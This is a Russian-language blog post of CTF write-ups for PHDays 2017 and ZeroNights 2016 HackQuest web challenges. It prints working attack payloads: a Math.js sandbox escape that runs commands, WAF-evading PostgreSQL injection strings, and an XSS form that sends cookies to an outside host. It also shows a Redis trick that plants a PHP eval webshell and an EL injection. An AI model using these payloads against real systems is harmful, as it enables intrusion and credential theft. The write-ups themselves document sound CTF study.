13 мая 2017

PHDays 2017 HackQuest Writeup


Краткий разбор заданий с PHDays 2017 HackQuest.

SteckTechs


На клиенте собирается выражение с суммой очков, которое выполняется на сервере.
https://stack.rosnadzorcom.ru/result?expr=2+2
Из сообщения об ошибке узнаем, что это Node.js и Math.js.

SyntaxError: End of string " expected (char 2)
    at createSyntaxError (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1524:17)
    at parseStringToken (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1282:13)
    at parseString (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1248:13)
    at parseSymbol (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1143:12)
    at parseCustomNodes (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1120:12)
    at parseLeftHandOperators (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1034:12)
    at parsePow (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1012:12)
    at parseUnary (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1000:12)
    at parseMultiplyDivide (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:932:12)
    at parseAddSubtract (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:906:12)

Находим статью по эксплуатации этой уязвимости:

https://capacitorset.github.io/mathjs/

Кромсаем готовые вектора с помощью concat, чтобы обойти WAF.

Чтение файлов

GET /result?expr=cos.constructor(concat("a=new%20Buffer(10000);pro","cess.bind","ing('fs').read(pro","cess.bind","ing('fs').op","en('WAFWAF_ex","ec_jk.txt',0,0600),a,0,10000);return%20a.toString('ascii')"))() HTTP/1.1
Host: stack.rosnadzorcom.ru

Выполнение команд

GET /result?expr=cos.constructor(concat("spawn_sync%20=%20pr","oce","ss.binding('spawn_sync');%20normalizeSpawnArguments%20=%20fun","cti","on(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined%26%26(a={}),a=Object.assign({},a),a.shell){const%20g=[c].concat(b).join('%20');typeof%20a.shell==='str","ing'?c=a.shell:c='/b","in/s","h',b=['-c',g];}typeof%20a.argv0==='str","ing'?b.unshift(a.argv0):b.unshift(c);var%20d=a.en","v||pr","oc","ess.e","nv;var%20e=[];for(var%20f%20in%20d)e.push(f%2b'='%2bd[f]);return{fi","le:c,args:b,opti","ons:a,en","vPairs:e};};spawnSync%20=%20fun","cti","on(){var%20d=normalizeSpawnArg","uments.apply(null,ar","guments);var%20a=d.op","t","i","ons;var%20c;if(a.fi","le=d.fi","le,a.ar","gs=d.ar","gs,a.e","nvPairs=d.e","nvPairs,a.st","di","o=[{type:'pi","pe',rea","dable:!0,wr","itable:!1},{type:'pi","pe',re","adable:!1,wr","itable:!0},{type:'pi","pe',re","adable:!1,wri","table:!0}],a.i","np","ut){var%20g=util._extend({},a.stdi","o[0]);g.inpu","t=a.inpu","t;}for(c=0;c<a.stdi","o.length;c%2b%2b){var%20e=a.stdi","o[c].inpu","t;if(e!=null){var%20f=util._extend({},a.stdi","o[c]);isUint8Array(e)?f.inpu","t=e:f.inpu","t=Buffer.from(e,a.encoding);}}var%20b=spawn_sync.spawn(a);if(b.outpu","t%26%26a.encoding%26%26a.encoding!=='buffer')for(c=0;c<b.outpu","t.length;c%2b%2b){if(!b.outpu","t[c])continue;x=b.outpu","t[c].toString(a.encoding);}return%20b.stdout=b.outpu","t%26%26b.outpu","t[1],b.stderr=b.outpu","t%26%26b.outpu","t[2],b.error%26%26(b.error=%20b.error%20%2b%20'spawnSync%20'%2bd.fi","le,b.error.pa","th=d.fi","le,b.error.spawnar","gs=d.ar","gs.slice(1)),b;};return%20spawnSync('/bin/ls')['outp","ut'][1].toString();"))() HTTP/1.1
Host: stack.rosnadzorcom.ru

Читаем флаг из /WAFWAF_exec_jk.txt

md5('::L3g3nd4ry_l1v3__3t3rn@ally^')

После прохождения узнаем, что проще было использовать base64

new Buffer("b2xvbG8=", "base64").toString()

И что многие участники не создавали функцию, а просто вызывали уже созданную другими участниками. То есть все решение было примерно таким:

https://stack.rosnadzorcom.ru/result?expr=cos.constructor("return+spawnSync('sh',['-c','cat+WAF*'])")()

1.png


https://rosnadzorcom.ru/1.png

Пустая картинка, смотрим альфа-канал в Stegsolve.

stegsolve1

stegsolve2

Извлекаем из каждого блока 10x10 по одному пикселю и опять извлекаем данные с помощью Stegsolve. Получается JS код:

[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]

Он выводит строку из символов 0, 1 и 2. Выравниваем ее по 2.

000000010101011001010100000002
011111010110010011000101111102
010001011011100011100101000102
010001010010011100001101000102
010001011110101110110101000102
011111011111110110000101111102
000000010101010101010100000002
111111110100000111101111111112
010010001010100100101101101002
001100110110011000001010001112
001110000011010010011010100112
100000101010000011110110010102
011011010010111111111101110012
101001110000001110100100101012
010101000010110100001001011102
111001100001101011010000001002
001011000110011110100110001012
101000111000001001100101011112
011010001000111010111101110112
111100101010111000111111111012
101011000110101101010000001102
111111110100000100010111011002
000000010010101010010101001012
011111010101011011100111001112
010001011011010010100000010012
010001010010110101111100101112
010001010011001101011110101102
011111011111101100011111111012
00000001011100011010010111101

Получается QR код из нулей и единиц. Преобразуем в картинку и извлекаем флаг.

qr code

af49359a251b70e24ba98f15b02cd271


Block

SQL Injection в PostgreSQL с WAF.
https://block.rosnadzorcom.ru/

Долго не мог придумать, как к ней подобраться, потому что на начальном этапе блокировалось почти все.
В итоге сделал базовый вектор, который не блокируется, с произвольными запросами с помощью XML функций и выводом информации через ошибку.

')||query_to_xml(E'$VECTOR'::text,true,true,true::text)::text::int||('1

После чего просто автоматизировал случайное замусоривание основного запроса и долбил его, пока он не сработает. Вектора, которые сработали:

sel\x65ct\ttable_n\141m'||E'e\x20f'||E'rom\r\x69n\x66orma\x74i\x6fn\x5fsc\x68em'||E'a.table\163

se\154ect\r\52 fr\157m\40us'||E'ers

Флаг md5('token:ildujf89qwj4e9832je98nm92p38jercop98j392er8j98j23p9ej8p928j3pe98jp2398je9d')


Bonus 4

https://crt.sh/?q=%25.rosnadzorcom.ru

flag-94d1d3b923974da436bcadb76e52e221.rosnadzorcom.ru


Bonus 1

bonus 1


Moderation


https://moderation.rosnadzorcom.ru/

Находим robots.txt

User-agent: *
Disallow: /admin/
Disallow: /moderator/

На странице /moderator/ идет перенаправление на страницу авторизации, но тело ответа отображается. Прогоняем обфусцированный JavaScript с помощью http://jsbeautifier.org/ и правим его руками. Я остановился на следующем варианте.

function Filter(_0x266c83) {
    return _0x266c83["replace"](/[^-0-9a-z:/.=?&]/gim, "");
}

function Checkurl(_0x265b12) {
    var _0x507390 = {
        'RjY': function _0x14519a(_0x4dd451, _0x237e63) {
            return _0x4dd451 != _0x237e63;
        },
        'doH': function _0x16c0a0(_0x55192c, _0x532c5a) {
            return _0x55192c != _0x532c5a;
        },
        'NSr': function _0x31c18a(_0x1f223d, _0x35f89c) {
            return _0x1f223d != _0x35f89c;
        }
    };
    var _0x247202 = "0|2|3|1|4|5"["split"]('|'),
        _0x41e6f8 = 0x0;
    while (!![]) {
        switch (_0x247202[_0x41e6f8++]) {
            case '0':
                if ("RjY"](_0x265b12["indexOf"]("javascript"), -0x1)) {
                    return ![];
                }
                continue;
            case '1':
                ;
                continue;
            case '2':
                ;
                continue;
            case '3':
                if (_0x507390["doH"](_0x265b12["substr"](-0x4, 0x4), ".jpg")) {
                    return ![];
                }
                continue;
            case '4':
                _0x265b12 = _0x265b12["replace"]("#", "");
                continue;
            case '5':
                if (_0x507390["doH"](_0x265b12["indexOf"]("/"), -0x1)) {
                    if (_0x507390["NSr"](_0x265b12["indexOf"]("://"), -0x1)) {
                        if (_0x507390['NSr'](_0x265b12["indexOf"]("http://"), -0x1)) {
                            return !![];
                        }
                    }
                } else {
                    return !![];
                }
                continue;
        }
        break;
    }
}

function prepareFrame() {
    var _0x2b3501 = {
        'OzM': function _0x20b853(_0x3e2412, _0xda5eaa) {
            return _0x3e2412(_0xda5eaa);
        }
    };
    var _0x586767 = "4|0|2|5|3|1"."split"('|'),
        _0x45335e = 0x0;
    while (!![]) {
        switch (_0x586767[_0x45335e++]) {
            case '0':
                if (_0x2b3501["OzM"](Checkurl, _0x1079a0)) {
                    var _0x4167de = _0x2b3501["OzM"](Filter, _0x1079a0);
                }
                continue;
            case '1':
                document["body"]["appendChild"](_0xc87369);
                continue;
            case '2':
                ;
                continue;
            case '3':
                _0xc87369["setAttribute"]("src", _0x4167de);
                continue;
            case '4':
                var _0x1079a0 = location["hash"]["replace"]("#", "");
                continue;
            case '5':
                var _0xc87369 = document[c]("iframe");
                continue;
        }
        break;
    }
}

Получаем DOM Based XSS через location.hash с большим количеством условий.

В результате у меня получился следующий вектор:
(когда я решал, то неправильно понял условие с символом /, поэтому перемудрил)

https://moderation.rosnadzorcom.ru/moderator/#java#script:window.parent.location=window.parent.name?window.parent.name:window.jpg

Для того, чтобы XSS сработала нужно также заблокировать перенаправление. Это можно сделать, добавив в GET параметры символы %0a, %0d или null-байт. Вызов функции header("Location: foo\nbar"); вернет предупреждение и код ответа останется 200.

https://moderation.rosnadzorcom.ru/moderator/?a=1%0a1

Финальный вектор для эксплуатации XSS

<form action="https://moderation.rosnadzorcom.ru/moderator/#java#script:window.parent.location=window.parent.name?window.parent.name:window.jpg" id="send">
<textarea name="a" id="x"></textarea>
</form>
<script>
window.name="javascript:location='https://blackfan.ru/?result='+document.cookie;";
document.getElementById("x").value="foo\nbar";
document.getElementById("send").submit();
</script>

Флаг в cookie flag=c0a495e8886c26afc0d541da2d19adf0


compressed.png

compressed.png

Перепечатываем, запускаем, играем в пятнашки.

01 02 03 04
05 06 07 08
09 10 11 12
13 14 15 00
Your flag is 
01030107010301150103010701030115

Chat

Вызываем ошибку
https://chat.rosnadzorcom.ru/%ff

URIError: Failed to decode param '%ff'
    at decodeURIComponent (<anonymous>)
    at decode_param (/osas/node_modules/router/lib/layer.js:171:12)
    at Layer.match (/osas/node_modules/router/lib/layer.js:147:15)
    at matchLayer (/osas/node_modules/router/index.js:604:18)
    at next (/osas/node_modules/router/index.js:235:15)
    at /osas/site/server-22165fa64369b9dabeba8eb7276712a6/init.js:51:5
    at Layer.handle [as handle_request] (/osas/node_modules/router/lib/layer.js:93:5)
    at trim_prefix (/osas/node_modules/router/index.js:335:13)
    at /osas/node_modules/router/index.js:299:7
    at Function.process_params (/osas/node_modules/router/index.js:354:12)

Получаем чтение серверного JS кода:
https://chat.rosnadzorcom.ru/server-22165fa64369b9dabeba8eb7276712a6/init.js

    import { result } from 'lodash';

    ...

    let id = encodeURIComponent(Object.keys(req.body)[0]);

    ...

    state[req.params.uuid] = {
        owner: req.cookies[sessionCookieName],
        message: {
            id,
            type: 'message',
            text: encodeURIComponent(req.body[id])
        }
    };

    ...

    export function adminReply(res, html) {
    const $ = cheerio.load(html),
        msg = $('[data-id]'),
        id = msg.data('id'),
        state = result(res, 'state'),
        orig = result(res, id).toString();

    state.reply = {
        id: 'reply',
        type: 'reply',
        orig,

Уязвимость заключается в том, что в ответ от администратора попадает любой параметр из объекта res, путь к которому мы передаем в имени POST параметра.
Оригинальный запрос:

POST /b6c5a75f-22fa-4a0d-952b-70a68fb77776 HTTP/1.1

state.message.text=asddas

Запрос для получения идентификатора сессии администратора:

POST https://chat.rosnadzorcom.ru/asdasdasdasdasd

req.cookies.sid=asddas

Используя его можно получить флаг:

https://chat.rosnadzorcom.ru/7his_c0nT3n7_is_MY_Pr1v@t3_pR0perTy!!11!

Flag is 64cbbcc515819d16115a4663251199dd

Ropi

Запросы к /.git/ блокируются.
https://ropi.rosnadzorcom.ru/.git/

Но при следующем запросе используется другой host.

GET /. HTTP/1.1
Host: ropi.rosnadzorcom.ru

HTTP/1.1 301 Moved Permanently
Location: http://vps.merron.ru/./

На котором уже можно получить исходный код из /.git/. Забираем доступ к redis.

$redis['host'] = '127.0.0.1';
$redis['port'] = 6379;
$redis['pass'] = 'a9e24afea8be7de8';

Так как у меня совсем нету опыта в эксплуатации Redis, подключаемся, ставим режим мониторинга и идем гулять с ребенком.

redis-cli -h vps.merron.ru -a a9e24afea8be7de8

> monitor

Возвращаемся через час, замечаем чьи-то попытки залить PHP шелл через Redis, добиваем их до мини-шелла.

> config set dir /var/www/uploads/
> config set dbfilename blabla.php
> set asd "<?php eval($_GET[asd]); ?>"
> bgsave

И читаем флаг

https://ropi.rosnadzorcom.ru/uploads/blabla.php?asd=readfile('/flag');

5d710ac04a2eb6af5682fd92577b3e01

Beta


http://beta.rosnadzorcom.ru/

Голый wordpress и раскрытие пути.
http://beta.rosnadzorcom.ru/wp-includes/rss-functions.php

Fatal error: Call to undefined function _deprecated_file() in /usr/share/nginx/www/wordpress/wp-includes/rss-functions.php on line 8

Пробуем обратиться к php файлам через localhost.

GET /wordpress/wp-config.php HTTP/1.1
Host: localhost

Получаем чтение исходного кода, учетную запись к базе данных и сам хост базы white2fan.rosnadzorcom.ru (нет, я не участвовал в создании таска).

/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', 'OMGOMGWTFWTF');

/** For testing use white2fan.rosnadzorcom.ru */
define('DB_HOST', 'localhost');

white2fan.rosnadzorcom.ru резолвится в 127.0.0.1, но когда я решал, то даже не заметил этого, так как подключался с сервера, на котором был настроен IPv6.
Забираем флаг:

mysql -h white2fan.rosnadzorcom.ru -u wordpress -p

mysql> select * from flag;
Empty set (0.16 sec)

mysql> select column_name from information_schema.columns where table_name='flag';
+----------------------------------+
| column_name                      |
+----------------------------------+
| a33d6a48821d9c33f00219710eb9aeef |
+----------------------------------+
1 row in set (0.16 sec)

12 мая 2017

Zeronights 2016 HackQuest Day #7 Writeup


Хотел написать разбор на PHDays 2017 HackQuest и нашел этот в закладках.

Узнав, что последним заданием на HackQuest будет web, я слегка расстроился, так как был не дома и начал решать его спустя 14 часов после запуска. Но, к счастью, к этому времени до сих пор не было ни решивших, ни подсказок.

Задание представляет собой сайт с названием «The First School of Bulimia» и из функциональности там только регистрация и аутентификация. После проверки стандартных векторов, единственное, за что можно было зацепиться – обработка поля «Вес» при регистрации.

При некорректном значении выдавало Exception:

Failed to convert property value of type java.lang.String to required type java.lang.Integer 
for property weight; nested exception is java.lang.NumberFormatException: For input string: "zdrxyhryy" 
Fill your weight. Weight has to be numeric value

В поле можно было использовать hex значения #FF или 0xFF. При значении ${0}, получилось следующее:

Failed to convert property value of type java.lang.String to required type java.lang.Integer 
for property weight; nested exception is java.lang.NumberFormatException: 
For input string: "$org.springframework.context.support.DefaultMessageSourceResolvable: 
codes [user.weight,weight]; arguments []; default message [weight]"

Прочитав несколько статей про Expression Language Injection, я понял, что это не совсем то, и что текст ошибки с указанным параметром попадает в MessageFormat. С помощью {0, number} можно вызвать приведение объекта-параметра с индексом 0 к числу и получить подробную ошибку с фрагментом исходного кода. Но, эта информация тоже ничего интересного не дала.

img1

Первая подсказка OTG-INFO-001 указывает на то, что сначала нужно было получить больше информации о задании. Помучив поисковые системы и веб-архивы удалось найти исходный код приложения на github.

https://github.com/search?q=The+First+School+of+Bulimia

Первая часть флага была указана в исходном коде:

private static String firstSecret="2TvoixPalca";

Вторая часть, судя по всему, получалась из файла конфигурации и ее можно было получить с помощью ${secondSecret}.
Оказалось, что почитать про Expression Language Injection было правильной идеей и можно сразу заметить в коде следующее:

<p><b>Твое имя:  <spring:message text="${user.name}" /></b></p>
<p><b>Твое вес:  <spring:message text="${user.weight}" /></b></p>

<spring:message> дважды обрабатывает Expression Language и инъекция через имя пользователя выглядит верным решением задания. Но необходимо придумать, как обойти регулярное выражение при регистрации:

if (user.getName() == null) {
  e.rejectValue("name", "null", "Fill your name");
} else if (!user.getName().matches("[0-9A-Za-z]+")) {
  e.rejectValue("name", "onlynumbersletters", "Only letters and numbers in your name");
}

Перепробовав все идеи, я решил обратиться к сценарию следующим образом
(к тому же похожая уязвимость была в первом web задании, которое я не дорешал):
http://45.55.216.88/home?name=<h1><s>123

img2

И только потом заметил следующее объявление метода:

@RequestMapping(value = "/home", method = RequestMethod.GET)
public String home(@ModelAttribute User user, Model model) {

ModelAttribute: Annotation that binds a method parameter or method return value to a named model attribute, exposed to a web view. Supported for controller classes with @RequestMapping methods.

Получаем вторую часть флага:

http://45.55.216.88/home?name=${secondSecret}

Флаг: 2TvoixPalcaVRot! (вторую часть в целом можно было и угадать)

Разбор уязвимости и самого задания от автора